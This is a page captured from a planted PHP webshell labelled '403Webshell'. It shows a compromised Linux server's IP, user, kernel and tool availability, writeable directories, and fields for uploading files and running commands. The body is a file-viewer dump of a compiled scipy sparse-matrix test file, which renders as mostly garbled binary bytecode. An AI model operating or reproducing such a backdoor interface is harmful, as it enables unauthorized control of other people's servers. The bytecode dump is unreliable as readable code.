403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/sparse/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/sparse/tests/__pycache__/test_sparsetools.cpython-311.pyc
�

d�c�(��0�ddlZddlZddlZddlZddlZddlmZmZm	Z	ddl
mZmZm
Z
mZmZmZddlmZddlmZddlZddlmZd�Zd�Zd	�Zd
�Zejjej�d��d�����Zej� ej!�"d
��oej#ej$��j%dkd���Gd�d����Z&ej�'d���d���Z(d�Z)d�Z*dS)�N)�assert_equal�assert_�assert_allclose)�_sparsetools�
coo_matrix�
csr_matrix�
csc_matrix�
bsr_matrix�
dia_matrix)�supported_dtypes)�check_free_memory)�raisesc��|dzdzdz
S)z6
    Wrap an integer to the interval [-128, 127].
    ���)�ns �E/usr/lib/python3/dist-packages/scipy/sparse/tests/test_sparsetools.py�int_to_int8rs��
��G�s�?�S� � �c�D�tttj��dS�N)�
assert_raises�MemoryErrorr�test_throw_errorrrr�test_exceptionrs���+�|�<�=�=�=�=�=rc�������d}d�d�ttj��g�����g�G����fd�dtj����fd�t|��D��}|D]}|����|D]}|�����D]9}ttj	|�
��dk�����:dS)N�
�d�c� ��eZdZ����fd�ZdS)�test_threads.<locals>.Workerc�������}t���D]M}tj���j�j�j�j�j�j|j|j|j���N��|��dSr)�copy�ranger�csr_plus_csr�indptr�indices�data�append)�self�b�j�a�bresr�niters   ����r�runz test_threads.<locals>.Worker.run(s���������A��5�\�\�
G�
G���)�!�Q�*+�(�A�I�q�v�*+�(�A�I�q�v�*+�(�A�I�q�v�G�G�G�G�
�K�K��N�N�N�N�NrN)�__name__�
__module__�__qualname__r1)r.r/rr0s����r�Workerr"'s=�������	�	�	�	�	�	�	�	�	�	rr5c�$��g|]}�����
Srr)�.0�_r5s  �r�
<listcomp>z test_threads.<locals>.<listcomp>1s���1�1�1�A�v�v�x�x�1�1�1r�)r�np�ones�	threading�Threadr%�start�joinr�all�toarray)	�nthreads�threads�threadr,r5r.r/rr0s	    @@@@@r�test_threadsrFs��������H��E�
�A��2�7�A�q�6�?�?�#�#�A�
�D������������!����2�1�1�1��x���1�1�1�G�������������������
�
�
�
�
�*�*�����q�y�y�{�{�a�'�(�(�)�)�)�)�*�*rc��tD]�}tjddgddgg���|��}t	||���}t|�d�����|dd�dd�f����dS)N�r:����dtyper)rr;�array�astyperr�getcolrB)rL�adr.s   r�!test_regression_std_vector_dtypesrQ;s���"�7�7��
�X��1�v��1�v�&�
'�
'�
.�
.�u�
5�
5���r��'�'�'��	�Q�X�X�a�[�[�(�(�*�*�B�q�q�q�"�1�"�u�I�6�6�6�6�7�7rz!Can't create large array for testc���tjtj��jdz}t	d|zdzdz��tj|tj���}tj|tj���}tj|tj���}d|d<t|||ffdd	�
��}|���}t|dgg��dS)NrH�	���.Ag�?rKrJ���)rHrHF)�shaper$)
r;�iinfo�int32�maxr
�zeros�int8rrBr)�nnz�row�colr)�s�ds      r�test_nnz_overflowraFs���

�(�2�8�
�
�
 �1�
$�C��y�C�'�#�-��3�4�4�4�
�(�3�b�h�
'�
'�
'�C�
�(�3�b�h�
'�
'�
'�C�
�8�C�r�w�'�'�'�D��D��H��D�3��*�%�V�%�@�@�@�A�	�	�	���A��A���u�����r�linux�ztest requires 64-bit Linux)�reasonc	�$�eZdZdZdZd�Zd�Zd�Zej	j
d���Zej	j
d���Zej
dej	j�	��ej
d
ej	j�	��ddd
ej
dej	j�	��gZej	j
ej	�de��d�����Zej	j
ej	�de��d�����Zd�Zd�Zd�Zd�Zd�Zd�ZdS)�TestInt32Overflowa
    Some of the sparsetools routines use dense 2D matrices whose
    total size is not bounded by the nnz of the sparse matrix. These
    routines used to suffer from int32 wraparounds; here, we try to
    check that the wraparounds don't occur any more.
    iP�c�"�|jdztjtj��jksJ�	ttj�dd����}n#t$rtj
}YnwxYwtd|z��dS)Nr:�PYTEST_XDIST_WORKER_COUNT�1i�)rr;rWrXrY�int�os�environ�get�
ValueError�infr
)r+�parallel_counts  r�setup_methodzTestInt32Overflow.setup_methodgs����v�q�y�2�8�B�H�-�-�1�1�1�1�1�	$� �����0K�S�!Q�!Q�R�R�N�N���	$�	$�	$��V�N�N�N�	$����	�$��/�0�0�0�0�0s�-A!�!A:�9A:c�,�tj��dSr)�gc�collect)r+s r�teardown_methodz!TestInt32Overflow.teardown_methodss��
�
�����rc��|j}tjd|dz
g��}tjd|dz
g��}tjddgtj���}t	|||ff��}|���}t
|dd��t
|dd��~tj��dS�NrrHr:rK�rr)rUrU)	rr;rMr[r�todenserrsrt)r+r�ir-r)�m�rs       r�test_coo_todensez"TestInt32Overflow.test_coo_todensevs���

�F���H�a��1��X�����H�a��1��X�����x��A��b�g�.�.�.����q�!�f�~�&�&��
�I�I�K�K���Q�s�V�Q�����Q�u�X�q�!�!�!�
�
�
�����rc�<�|j}tjd|dz
g��}tjd|dz
g��}tjddgtj���}t	|||ff��}tj||ftj���}tttfD]b}||��}|�	|��}	t|	dd��t|	dd��~	tj���c~tj��dSrw)
rr;rMr[rr<rr	r
�dotrrsrt)
r+rrzr-r)r{r,�sptype�m2r|s
          r�test_matvecszTestInt32Overflow.test_matvecs�s���
�F���H�a��1��X�����H�a��1��X�����x��A��b�g�.�.�.����q�!�f�~�&�&���G�Q��F�"�'�*�*�*��!�:�z�:�	�	�F������B����q�	�	�A���3���#�#�#���5��1�%�%�%���J�L�L�L�L�
�
�
�����rc��|j}tj||ftj���}tj|��}t||f||f���}tj|jdtj���}|�|��}t|dt|����~~~~~tj��dS)NrK)rVrHr)rr;r<r[�arangerrVrrrrsrt)r+rr)�offsetsr{�vr|s       r�test_dia_matvecz!TestInt32Overflow.test_dia_matvec�s���
�F���w��1�v�R�W�-�-�-���)�A�,�,����g��q�!�f�5�5�5���G�A�G�A�J�b�g�.�.�.��
�E�E�!�H�H���Q�q�T�;�q�>�>�*�*�*��'�1�a��
�
�����r�matmat)�marks�matvecs�matvec�diagonal�sort_indices�	transpose�opc�����fd�}tj��	t�d|z��|��tj��dS#tj��wxYw)Nc����j}tjd||ftj���}tjddgtj���}tjdgtj���}t
|||f||fd���}~~~|S�NrHrKrF)�	blocksizer$)rr;r<r[rMrXr
�rr)r'r(r{r+s     �r�
get_matrixz6TestInt32Overflow.test_bsr_1_block.<locals>.get_matrix�s������A��7�A�q�!�9�B�G�4�4�4�D��X�q�!�f�B�H�5�5�5�F��h��s�"�(�3�3�3�G��D�'�6�2�q�!�f�5�Q�Q�Q�A��f�g��Hr�_check_bsr_�rsrt�getattr�r+r�r�s`  r�test_bsr_1_blockz"TestInt32Overflow.test_bsr_1_block�sl���	�	�	�	�	�	�
����	�-�G�D�-�"�,�-�-�j�9�9�9��J�L�L�L�L�L��B�J�L�L�L�L�����A�A!c�����fd�}tj��	t�d|z��|��tj��dS#tj��wxYw)Nc����j}tj||dftj���}tjd|gtj���}tj|tj���}t|||f|dfd���}~~~|Sr�)rr;r<r[rMrXr�r
r�s     �rr�z6TestInt32Overflow.test_bsr_n_block.<locals>.get_matrix�s������A��7�A�q�!�9�B�G�4�4�4�D��X�q�!�f�B�H�5�5�5�F��i����2�2�2�G��D�'�6�2�q�!�f�5�Q�Q�Q�A��f�g��Hrr�r�r�s`  r�test_bsr_n_blockz"TestInt32Overflow.test_bsr_n_block�sl���	�	�	�	�	�	�
����	�-�G�D�-�"�,�-�-�j�9�9�9��J�L�L�L�L�L��B�J�L�L�L�L���r�c���|��}|j}|�tj|dftj�����}t|dt
|����dS)Nr:rKrx�rrr;r<r[rr�r+r{rr|s    r�_check_bsr_matvecsz$TestInt32Overflow._check_bsr_matvecs�s\��
�A�C�C���F��
�E�E�"�'�1�a�&���0�0�0�1�1���Q�t�W�k�!�n�n�-�-�-�-�-rc���|��}|j}|�tj|ftj�����}t|dt
|����dS)NrKrr�r�s    r�_check_bsr_matvecz#TestInt32Overflow._check_bsr_matvec�sZ��
�A�C�C���F��
�E�E�"�'�1�$�b�g�.�.�.�/�/���Q�q�T�;�q�>�>�*�*�*�*�*rc��|��}|j}|���}t|tj|����dSr)rr�rr;r<r�s    r�_check_bsr_diagonalz%TestInt32Overflow._check_bsr_diagonal�sA��
�A�C�C���F��
�J�J�L�L���Q����
�
�#�#�#�#�#rc�B�|��}|���dSr)r��r+r{s  r�_check_bsr_sort_indicesz)TestInt32Overflow._check_bsr_sort_indices�s#��
�A�C�C��	�������rc�B�|��}|���dSr)r�r�s  r�_check_bsr_transposez&TestInt32Overflow._check_bsr_transpose�s��
�A�C�C��	���
�
�
�
�
rc�v�|��}|j}ttj|dftj���|jddf���}|�|��~ttjd|ftj���d|jdf���}|�|��dS)Nr:rKrH)r�r)rr
r;r<r[r�r)r+r{rr�s    r�_check_bsr_matmatz#TestInt32Overflow._check_bsr_matmats���
�A�C�C���F������A��b�g�6�6�6�1�;�q�>�ST�BU�
V�
V�
V��	���b�	�	�	������A��b�g�6�6�6�1�a�k�RS�n�BU�
V�
V�
V��
���q�	�	�	�	�	rN)r2r3r4�__doc__rrqrur}�pytest�mark�slowr�r��param�xslow�_bsr_ops�parametrizer�r�r�r�r�r�r�r�rrrrfrf[s���������	�A�
1�
1�
1�������$�[�������*�[��
�
���
����X�V�[�->�?�?�?����Y�f�k�.?�@�@�@�������[���0A�B�B�B�D�H��[���[���T�8�,�,���-�,����(�[���[���T�8�,�,���-�,����*.�.�.�+�+�+�$�$�$����
���
����rrfz/64-bit indices in sparse matrices not availablec���d}|dztjtj��jksJ�t	|dzdzdz��tj|ftj���}tj|dztj���}tj|tj���}t|||f��}|j
}tt|j
|��dS)Nl4s	jr:�rIrTrKrH)r;rW�int64rYr
r<r[r�rZr�Tr�RuntimeErrorr)rr)r'r(r.r,s      r�test_csr_matmat_int64_overflowr�s����A��a�4�"�(�2�8�$�$�(�(�(�(�(��a�7�m�a�'�#�-�.�.�.��7�A�4�r�w�'�'�'�D�
�Y�q��s�"�(�
+�
+�
+�F��h�q���)�)�)�G��D�'�6�*�+�+�A�	��A��,���q�)�)�)�)�)rc
��ttjtjdzgddggt���}tjddgt���}t
D�]�}t
D�]�}d|�d|�d	�}tj|tj��r(|����	|��}n,|j
����	|��}tj|tj��r(|����	|��}nYtjd
���5|j
����	|��}ddd��n#1swxYwY|tjkr|tjksUtj
dtj���}ttt jd
d
|j|j|j||�	�	tj|tj��rtj|tj��r>tj|tj��sttj|tj��rUtj
dtj���}ttt jd
d
|j|j|j||�	�	tj
dtj||�����}t!jd
d
|j|j|j||��t/|tj|���|��|��������dS)Ny�?rIrJrKyp@�?l�(z, �)�ignore)�invalid)r:r:)�err_msg)rr;�pi�complexrMr�
issubdtype�complexfloatingr$rN�real�errstate�bool_rZrrnr�
csr_matvecr'r(r)�float64�result_typerrrB)�a0�b0�a_dtype�b_dtype�msgr.r,�cs        r�test_upcastr�!s��	�b�e�R�U�2�X�&��A��/�w�	?�	?�	?�B�	��6�5�/��	1�	1�	1�B�#� D� D��'�	D�	D�G�G� '������1�C��}�W�b�&8�9�9�
3��G�G�I�I�$�$�W�-�-����G�L�L�N�N�)�)�'�2�2���}�W�b�&8�9�9�
7��G�G�I�I�$�$�W�-�-����[��2�2�2�7�7�������-�-�g�6�6�A�7�7�7�7�7�7�7�7�7�7�7����7�7�7�7�
�r�x�'�'�G�r�x�,?�,?��H�T���2�2�2���j�,�*A���A�H�a�i����A�G�G�G���w��(:�;�;�
G��]�7�B�,>�?�?�
G��]�7�B�,>�?�?�
G���w��(:�;�;�
G��H�T���4�4�4���j�,�*A���A�H�a�i����A�G�G�G����R�^�G�W�%E�%E�F�F�F�A��#�A�q�!�(�A�I�q�v�q�!�L�L�L��A�r�v�a�i�i�k�k�1�5�5�s�C�C�C�C�C�?	D� D� Ds�=-E6�6E:�=E:c��tjd��}gd�}t|�d��|fd��}t|�d��|fd��}tjd��}t|�|��gd���t|�|��gd���dS)N)rIrJ)rUrrHz<f8)rJrJz>f8rJ)rHrI��)r;r<rrNr�rr)r`r�r.r,r�s     r�test_endiannessr�Hs���
�����A��h�h�G��A�H�H�U�O�O�W�-�v�6�6�A��A�H�H�U�O�O�W�-�v�6�6�A�
�	�!���A��A�E�E�!�H�H�l�l�l�+�+�+��A�E�E�!�H�H�l�l�l�+�+�+�+�+r)+�sysrkrsr=�numpyr;�
numpy.testingrrr�scipy.sparserrrr	r
r�scipy.sparse._sputilsr�scipy._lib._testutilsr
r�rrrrrFrQr�r��xfail_on_32bitra�skipif�platform�
startswithrL�intp�itemsizerf�skipr�r�r�rrr�<module>r�sG��
�
�
�
�	�	�	�	�	�	�	�	���������@�@�@�@�@�@�@�@�@�@�2�2�2�2�2�2�2�2�2�2�2�2�2�2�2�2�2�2�2�2�2�2�3�3�3�3�3�3�
�
�
�
�*�*�*�*�*�*�!�!�!�>�>�>�*�*�*�>7�7�7��������?�@�@���A�@����&������0�0��9�9�]�h�b�h�r�w�>O�>O�>X�\]�>]�^�7��9�9�o�o�o�o�o�o�o�9�9�o�d����J��K�K�*�*�L�K�*�"$D�$D�$D�N	,�	,�	,�	,�	,r

Youez - 2016 - github.com/yon3zu
LinuXploit